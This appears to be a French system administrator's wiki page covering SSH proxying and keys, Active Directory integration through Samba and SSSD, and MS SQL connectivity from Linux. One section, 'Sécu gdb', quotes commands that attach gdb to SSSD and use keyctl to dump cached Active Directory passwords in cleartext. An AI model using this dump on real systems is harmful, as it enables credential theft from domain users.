Table des matières
0 billet(s) pour février 2026
Connexion SSH via proxy HTTP
Le proxy doit très probablement accepter de joindre les ports distants 80 (HTTP) et 443 (HTTPS). Il peut être nécessaire de faire écouter le serveur SSH sur l'un de ces ports.
Voir tunnel_ssh_over_https
Install de corkscrew (tire-bouchon en anglais)
sudo apt-get install corkscrew
Configuration du client SSH
- .ssh/config
Host plop Hostname plop.acme.fr Port 443 ProxyCommand /usr/bin/corkscrew 192.168.56.1 3128 %h %p
Connexion par clefs SSH - exemple
Voir aussi : Notes clefs SSH
Première connexion
Client
ssh utilisateur1@192.168.205.21
Comme c'est la première fois que vous vous connectez à cette machine, l'empreinte n'est pas encore connue. C'est pour éviter qu'un pirate se fasse passer pour votre serveur.
Répondre yes
The authenticity of host '192.168.205.21 (192.168.205.21)' can't be established. ECDSA key fingerprint is 3e:4b:eb:d2:cb:90:ad:f7:64:b5:2e:eb:9f:d8:3a:ab. Are you sure you want to continue connecting (yes/no)? yes
ssh config
Pour nous simplifier la vie et ne pas taper à chaque fois l'IP, le numéro de port et l'utilisateur, nous allons enregistrer tout cela dans un fichier de config
Client
~/.ssh/config
Host serv1
Hostname 192.168.205.21
User utilisateur1
Port 22
Le caractère '~' signifie le HOME de l'utilisateur, c'est-à-dire son répertoire par défaut (voir /etc/passwd)
Maintenant nous pouvons nous connecter
Client
ssh serv1
Connexion par clef
Avons-nous déjà une paire de clefs ?
Client
ls -l ~/.ssh/id_*
Si non (aucun fichier trouvé), créons une paire
Client
ssh-keygen #ssh-keygen -t ecdsa -b 521
Ou par script
if [ ! -e ~/.ssh/id_rsa ] then ssh-keygen -q -N "" < /dev/zero fi
Appuyer trois fois sur entrée (valeur par défaut)
Client
ls -l ~/.ssh/id_*
-rw------- 1 jean jean 1679 mai 12 15:44 /home/jean/.ssh/id_rsa -rw-r----- 1 jean jean 394 mai 12 15:44 /home/jean/.ssh/id_rsa.pub
Nous avons deux fichiers :
- id_rsa.pub : Clef publique RSA, le fichier peut être distribué à tous, même sur le web
- id_rsa : Clef privée RSA, fichier à garder précieusement. À ne jamais distribuer à personne
Jetons un œil à la clef publique
Client
~/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgQYGWtV+70Zegq7gVS+h/OsSi3tvhcp3o1HemKhkORlbLSSMM60dkhid5rcy9e/NUhMElbpBE46CkRqvRLKFsqMwTkEVJoRkjGXi/w/mHu/1RqSVUBwFkXL3lJSrWAHgV1T5kXeq9z8LgoJgCdEfb4UF9XSYasPhaL6wT9T+TJ6VfEhKDOhV5IcJ8J6HQG0MW3NnAztVnHj4a8ZuAcVR9/cs+hWpQiEuixkSmsUHN7b6XJ+JOJiP3MBodIfMPEfd1IDLHA8uOuqGWeQPeUh0nPcLlnJnJ6cw40Ejhg80KCSFN8uOVigWwAimo0FCGxNNYqAtTDipuK5l0JKUG5YKV jean@debian2
Autorisation
Maintenant j'aimerais bien pouvoir me connecter sans mot de passe à serv1 (utilisateur1@192.168.205.21).
Rien de plus simple, je vais déposer ma clef publique (on ne copie jamais sa clef privée !) dans le HOME de utilisateur1 sur 192.168.205.21.
Pour être exacte il faut ajouter la clef publique dans ~/.ssh/authorized_keys.
Serveur
mkdir ~/.ssh cat <<EOF >> /root/.ssh/authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgQYGWtV+70Zegq7gVS+h/OsSi3tvhcp3o1HemKhkORlbLSSMM60dkhid5rcy9e/NUhMElbpBE46CkRqvRLKFsqMwTkEVJoRkjGXi/w/mHu/1RqSVUBwFkXL3lJSrWAHgV1T5kXeq9z8LgoJgCdEfb4UF9XSYasPhaL6wT9T+TJ6VfEhKDOhV5IcJ8J6HQG0MW3NnAztVnHj4a8ZuAcVR9/cs+hWpQiEuixkSmsUHN7b6XJ+JOJiP3MBodIfMPEfd1IDLHA8uOuqGWeQPeUh0nPcLlnJnJ6cw40Ejhg80KCSFN8uOVigWwAimo0FCGxNNYqAtTDipuK5l0JKUG5YKV jean@debian2 EOF chmod 600 ~/.ssh/authorized_keys
Attention, pour des raisons de sécurité les droits sur ~/.ssh/authorized_keys doivent être 600 (Lecteur-écriture que pour le propriétaire) et le fichier doit appartenir à l'utilisateur concerné.
Passe-phrase
partie à rédiger
Que se passe t-il si votre clef privée tombe entre de mauvaises mains ? Pour se prémunir, il est possible de chiffrer la clef SSH privée avec une passe-phrase.
Et pour éviter de taper à chaque fois la passe-phrase, on utilise un “agent”, aussi la passe-phrase ne sera demandée qu'une seule fois.
Connexion AD Active Directory LDAP
Voir :
- realmd (config possible depuis Cockpit)
Voir aussi :
- Harden AD
Note install
- /etc/security/limits.d/samba.conf
#root soft nofile 16384 #root hard nofile 16384 root - nofile 16384
wbinfo --ping-dc
net join ads -U useradmin -S cd1-plop.mydomain.local -d 3
# wbinfo --own-domain MYDOMAIN
Sécu gdb
Source : https://gist.github.com/gladiatx0r/c52d529ea268f7e74295c2c492cf9774
[domain/example.com] krb5_store_password_if_offline = true
for who ever this interest, if you enable krb5_store_password_if_offline in the SSSD configuration, the AD password for accounts is stored in plaintext in the kernel keyring
to dump the clear text password you can do :
```
gdb -p <PID_OF_SSSD>
call system("keyctl show > /tmp/output")
```
From the /tmp/output locate the key_id for the user you want
Example of an output is :
Session Keyring
204928979 --alswrv 0 0 keyring: _ses
471547288 --alswrv 0 0 \_ user: user@evilcorp.local
now again in GDB do the following :
```
call system("keyctl print 471547288 > /tmp/output") # or whatever key_id from the past output
```
enjoy the cleartext password in /tmp/output :)
Diag
Diagnostic
- stop smbd, nmbd and winbindd (make sure they are really dead using ps. winbindd still lingered after I stopped the service)
- delete the samba from the PDC (using the Management Console)
- delete the secrets database (/var/lib/samba/secrets.tdb)
- join the domain again
- start the daemons again (smbd, nmbd and winbindd)
Source : https://ubuntuforums.org/showthread.php?t=1857135
sudo sssctl analyze request list --pam
Utilisations diverses
Pb
Pb connexion serveur AD / LDAP
Active Directory
Problème de connexion AD :
/etc/init.d/samba stop /etc/init.d/winbind stop /etc/init.d/winbind start /etc/init.d/samba start
Tester
Un compte particulier
getent passwd DOMAIN/compteAD id compteAD
Lister tous les comptes, les groupes
wbinfo -u wbinfo -g
Connexion à une base propriétaire - Python - JDBC - ODBC
JAVA JDBC command line
Install du JRE Java
sudo yum install java-1.8.0-openjdk-headless
Téléchargement
Téléchargement de sqlline \ Nous avons deux fichiers :
- jline-1.0.jar
- sqlline-1_0_2.jar
Téléchargement du driver JDBC \ Nous avons besoin que d'un fichier :
- mssql-jdbc-12.2.0.jre8.jar (pour Java 1.8)
- ou mssql-jdbc-12.2.0.jre11.jar (pour Java 1.11)
Exécution de sqlline
java -Djava.ext.dirs=. -jar sqlline-1_0_2.jar
Au prompt de sqline taper :
!connect jdbc:sqlserver://serveur_base_de_données:1433;databaseName=leNomDeMaBase;
Nous pouvons passer des options au driver JDBC de la base comme dans notre exemple : \ ;databaseName=leNomDeMaBase;
L'option integratedSecurity=true; semble propre à windows
Après avoir tapé le nom et mdp de connexion nous avons l'erreur :
Error: The driver could not establish a secure connection to SQL Server by using Secure Sockets Layer (SSL) encryption. Error: "No negotiable cipher suite". ClientConnectionId:c83221ff-76a4-4e9a-8206-092b76475256 (state=08S01,code=0)
Pour déboguer nous faisons :
java -Djava.ext.dirs=. -Djavax.net.debug=all -jar sqlline-1_0_2.jar
Mais comme c'est un pb de “cipher suite” nous prenons une version plus récente de Java
sudo yum remove java-1.8.0-openjdk-headless sudo yum install java-11-openjdk-headless
Il ne faut pas oublier non plus de changer le driver JDBC pour mssql-jdbc-12.2.0.jre11.jar
La syntax change :
java -cp ./sqlline-1_0_2.jar:./jline-1.0.jar:./mssql-jdbc-12.2.0.jre11.jar sqlline.SqlLine
-Djava.ext.dirs= a été remplacé par l'équivalent -cp= ou --class-path= qui permet de changer le ClassPath, mais ça ne semple fonctionner que pour les fichiers et non plus pour les répertoires. \ Voir : https://skywalking.apache.org/docs/skywalking-java/v8.9.0/en/faq/ext-dirs/
A présent voici l'erreur :
Error: The driver could not establish a secure connection to SQL Server by using Secure Sockets Layer (SSL) encryption. Error: "PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target". ClientConnectionId:88db8777-73f0-4bd7-b75d-c45d79d91bff (state=08S01,code=0)
;trustServerCertificate=true; n'est pas pris en charge par sqlline \ ;Trusted_Connection=yes; ne semble avoir aucun effet.
L'option qui nous intéresse est : \ ;trustServerCertificate=true;
!connect jdbc:sqlserver://127.0.0.1:1433;databaseName=dbname;trustServerCertificate=true;
Solution
$ java -cp ./sqlline-1_0_2.jar:./jline-1.0.jar:./mssql-jdbc-12.2.0.jre11.jar sqlline.SqlLine sqlline version 1.0.2 by Marc Prud'hommeaux sqlline> !connect jdbc:sqlserver://127.0.0.1:1433;databaseName=mirror;trustServerCertificate=true;authenticationScheme=NTLM;integratedSecurity=true;Domain=ACME; Connecting to jdbc:sqlserver://127.0.0.1:1433;databaseName=mirror;trustServerCertificate=true;authenticationScheme=NTLM;integratedSecurity=true;Domain=ACME; Enter username for jdbc:sqlserver://127.0.0.1:1433;databaseName=mirror;trustServerCertificate=true;authenticationScheme=NTLM;integratedSecurity=true;Domain=ACME;: USER1 Enter password for jdbc:sqlserver://127.0.0.1:1433;databaseName=mirror;trustServerCertificate=true;authenticationScheme=NTLM;integratedSecurity=true;Domain=ACME;: ************************* Connected to: Microsoft SQL Server (version 13.00.5882) Driver: Microsoft JDBC Driver 12.2 for SQL Server (version 12.2.0.0) Autocommit status: true Transaction isolation: TRANSACTION_REPEATABLE_READ 0: jdbc:sqlserver://127.0.0.1:1433>
Autres
Voir :
- nmap ms-sql-ntlm-info
ODBC avec Microsoft ODBC Driver 18 for SQL Server - KO
Comme ça ne marche pas en JDBC on essaie en ODBC
sudo rpm -Uvh msodbcsql18-18.2.2.1-1.x86_64.rpm unixODBC-2.3.11-1.rh.x86_64.rpm
Essayons d'abord avec sqlcmd le CLI officiel (qui utilise ODBC)
sudo rpm -Uvh mssql-tools18-18.2.1.1-1.x86_64.rpm
$ #/opt/mssql-tools18/bin/sqlcmd -S 127.0.0.1,1433 -U MonUser -P pwd -Q 'SELECT name FROM sys.databases;' $ /opt/mssql-tools18/bin/sqlcmd -S 127.0.0.1,1433 -U MonUser@acme.local -d dbname -C Password: Sqlcmd: Error: Microsoft ODBC Driver 18 for SQL Server : Login failed for user 'MonUser@acme.local'..
Ça ne marche pas. Passons en pur ODBC
cat /etc/odbcinst.ini
/etc/odbcinst.ini
[ODBC Driver 18 for SQL Server] Description=Microsoft ODBC Driver 18 for SQL Server Driver=/opt/microsoft/msodbcsql18/lib64/libmsodbcsql-18.2.so.2.1 UsageCount=1
~/.odbc.ini
[mssql_test] Driver = ODBC Driver 18 for SQL Server Server = tcp:127.0.0.1,1433 Encrypt = yes TrustServerCertificate = yes
Le TrustServerCertificate = yes est bien pris en compte
$ iusql -v mssql_test mon_user 'Passw0rd' [28000][unixODBC][Microsoft][ODBC Driver 18 for SQL Server][SQL Server]Login failed for user 'mon_user'. [ISQL]ERROR: Could not SQLConnect
Voir aussi :
import pyodbc conn = pyodbc.connect("Driver={driver};Server=tcp:{serverName},{port};Database={masterDB};Uid={rootUser}@{serverName};Pwd={rootPass};TrustServerCertificate=yes;integratedSecurity=true;Domain=ACME;".format(serverName='127.0.0.1', masterDB='dbname', rootUser=r'user1', rootPass=r'Passw0rd!', driver="ODBC Driver 18 for SQL Server", port='1433'), autocommit=False)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
pyodbc.InterfaceError: ('28000', "[28000] [Microsoft][ODBC Driver 18 for SQL Server][SQL Server]Login failed for user 'user1@127.0.0.1'. (18456) (SQLDriverConnect)")
Le TrustServerCertificate=yes est bien pris en compte mais ça ne marche pas. Le plus simple est d'utiliser FreeTDS puis de faire un connecteur ODBC avec le driver de FreeTDS.
FreeTDS / tsql
La solution consiste à utiliser DOMAIN\user1 à la place de user1@domain.local
$ tsql -v -S localhost:1433 -U user1@acme.local -P 'Passw0rd!'
locale is "en_US.UTF-8"
locale charset is "UTF-8"
using default charset "UTF-8"
Msg 18456 (severity 14, state 1) from SRVWINSQL1\PLOP Line 1:
"Login failed for user 'user1@acme.local'."
Error 20002 (severity 9):
Adaptive Server connection failed
Error 20002 (severity 9):
Adaptive Server connection failed
There was a problem connecting to the server
$ tsql -v -S localhost:1433 -U 'ACME\user1' -P 'Passw0rd!' locale is "en_US.UTF-8" locale charset is "UTF-8" using default charset "UTF-8" Changed database context to 'master'. Changed language setting to us_english. 1> 1> SELECT 1; 2> GO 1> SELECT name FROM sys.databases; 2> GO
Il peut également être nécessaire d'ajouter use ntlmv2 = yes dans ~/.freetds.conf
ODBC avec FreeTDS
~/.odbcinst.ini
[FreeTDS] Description=FreeTDS Driver for Linux & MSSQL Driver=/usr/lib64/libtdsodbc.so UsageCount=1
~/.odbc.ini
[PlopODBC] Description = Test to SQLServer Driver = FreeTDS Servername = PlopTDS
iusql -d, -b PlopODBC 'ACME\user1' 'Passw0rd!' <<< "SELECT @@version;" iusql -d, -b PlopODBC 'ACME\user1' 'Passw0rd!' <<< "SELECT db_name();" iusql -d, -b PlopODBC 'ACME\user1' 'Passw0rd!' <<< "SELECT name FROM sys.databases;"
Pour diag
$ osql -S PlopODBC -U 'ACME\user1' -P 'Passw0rd!'
checking shared odbc libraries linked to isql for default directories...
strings: Warning: '/usr/lib64' is a directory
trying /tmp/sql ... no
trying /tmp/sql ... no
trying /etc ... OK
checking odbc.ini files
reading /home/jean/.odbc.ini
[PlopODBC] found in /home/jean/.odbc.ini
found this section:
[PlopODBC]
Description = Test to SQLServer
Driver = FreeTDS
Servername = PlopTDS
looking for driver for DSN [PlopODBC] in /home/jean/.odbc.ini
found driver line: " Driver = FreeTDS"
driver "FreeTDS" found for [PlopODBC] in .odbc.ini
found driver named "FreeTDS"
"FreeTDS" is not an executable file
looking for entry named [FreeTDS] in /etc/odbcinst.ini
#!/usr/bin/env python3 import pyodbc conn = pyodbc.connect(DRIVER='FreeTDS', Server='127.0.0.1', Port='1433', Database='dbname', UID=r'ACME\user1', PWD=r'Passw0rd', TDS_Version='7.1', UseNTLMv2='Yes') cursor = conn.cursor() row = cursor.execute('SELECT @@version;') for row in cursor: print(row[0])
Voir : urllib.parse
Ansible (FreeTDS)
ping-mssql.yml
#!/usr/bin/ansible-playbook --- - name: test connection MsSQL hosts: localhost tasks: - name: set_facts SQL Cred set_fact: mssql_login_user: "{{ lookup('env', 'MSSQL_LOGIN_USER') }}" mssql_login_password: "{{ lookup('env', 'MSSQL_LOGIN_PASSWORD') }}" mssql_host: "{{ lookup('env', 'MSSQL_LOGIN_HOST') }}" mssql_port: "{{ lookup('env', 'MSSQL_LOGIN_PORT') |int }}" mssql_database: "{{ lookup('env', 'MSSQL_LOGIN_DATABASE') }}" - name: Check DB connection community.general.mssql_script: login_user: "{{ mssql_login_user }}" login_password: "{{ mssql_login_password }}" login_host: "{{ mssql_host }}" login_port: "{{ mssql_port }}" db: "{{ mssql_database }}" script: "SELECT name FROM sys.databases;" register: sql_result - name: show result query debug: var: sql_result.query_results
Conf / debug
cp /etc/freetds.conf ~/.freetds.conf vim ~/.freetds.conf
~/.freetds.conf
[global] tds version = auto dump file = /tmp/freetds.log [PlopTDS] host = localhost port = 1433 use ntlmv2 = yes database = dbname
tsql -v -S PlopTDS -U 'ACME\user1' -P 'Passw0rd!'
pymssql
Voici le pb initiale
$ python3 Python 3.9.13 (main, Nov 9 2022, 13:16:24) [GCC 8.5.0 20210514 (Red Hat 8.5.0-15)] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import pymssql >>> conn = pymssql.connect(server='mssql01.acme.local', port='1433', user='USER01@acme.local', password='******', database='dbname') Traceback (most recent call last): File "src/pymssql/_pymssql.pyx", line 647, in pymssql._pymssql.connect File "src/pymssql/_mssql.pyx", line 2109, in pymssql._mssql.connect File "src/pymssql/_mssql.pyx", line 701, in pymssql._mssql.MSSQLConnection.__init__ File "src/pymssql/_mssql.pyx", line 1818, in pymssql._mssql.maybe_raise_MSSQLDatabaseException File "src/pymssql/_mssql.pyx", line 1835, in pymssql._mssql.raise_MSSQLDatabaseException pymssql._mssql.MSSQLDatabaseException: (18456, b"Login failed for user 'USER01@acme.local'.DB-Lib error message 20018, severity 14:\nGeneral SQL Server error: Check messages from the SQL Server\nDB-Lib error message 20002, severity 9:\nAdaptive Server connection failed (mssql01.acme.local)\nDB-Lib error message 20002, severity 9:\nAdaptive Server connection failed (mssql01.acme.local)\n") During handling of the above exception, another exception occurred: Traceback (most recent call last): File "<stdin>", line 1, in <module> File "src/pymssql/_pymssql.pyx", line 653, in pymssql._pymssql.connect pymssql._pymssql.OperationalError: (18456, b"Login failed for user 'USER01@acme.local'.DB-Lib error message 20018, severity 14:\nGeneral SQL Server error: Check messages from the SQL Server\nDB-Lib error message 20002, severity 9:\nAdaptive Server connection failed (mssql01.acme.local)\nDB-Lib error message 20002, severity 9:\nAdaptive Server connection failed (mssql01.acme.local)\n")
pymssql utilise FreeTDS Si FreeTDS ne fonctionne pas il est inutile d'aller plus loin.
Voici un petit bout de code qui fonctionne
#!/usr/bin/env python3 import pymssql conn = pymssql.connect(server='localhost', port='1433', user=r'ACME\user1', password=r'Passw0rd!', database='mirror') cursor = conn.cursor() cursor.execute('SELECT name FROM sys.databases;') for row in cursor: print(row) conn.close()
Voir : urllib.parse
Voir aussi :
Ou encore avec pyDAL (FreeTDS)
#!/usr/bin/env python3 from pydal import DAL, Field db_user = 'ACME\user1' db_pass = 'Passw0rd!' db_name = 'dbname' db_host = '127.0.0.1' db_port = 1433 db = DAL(f'mssql4://{db_user}:{db_pass}@{db_host}:{db_port}/{db_name}', driver_args={'DRIVER': 'FreeTDS', 'TDS_Version': '7.3'}) result = db.executesql('SELECT @@version;') for row in result: print(row[0]) db.close()
Anciennes Debian - fichier sources.list
Source : http://archive.debian.org/debian-archive/debian/README
See http://www.debian.org/ for information about Debian GNU/Linux. This FTP site is a repository for old debian releases. For new releases please see ftp://ftp.debian.org/debian/. Releases are stored by their codenames under the dists/ directory. jessie is Debian 8.0 wheezy is Debian 7.0 squeeze is Debian 6.0 lenny is Debian 5.0 etch is Debian 4.0 sarge is Debian 3.1 woody is Debian 3.0 potato is Debian 2.2 slink is Debian 2.1 hamm is Debian 2.0 bo is Debian 1.3 rex is Debian 1.2 buzz is Debian 1.1 If you are using APT the relevent sources.list entries are like: deb http://archive.debian.org/debian/ $RELEASE main contrib for example: deb http://archive.debian.org/debian/ sarge main contrib
- /etc/apt/sources.list
deb http://archive.debian.org/debian-archive/debian/ lenny main contrib non-free deb http://archive.debian.org/debian-security/ lenny/updates main contrib non-free
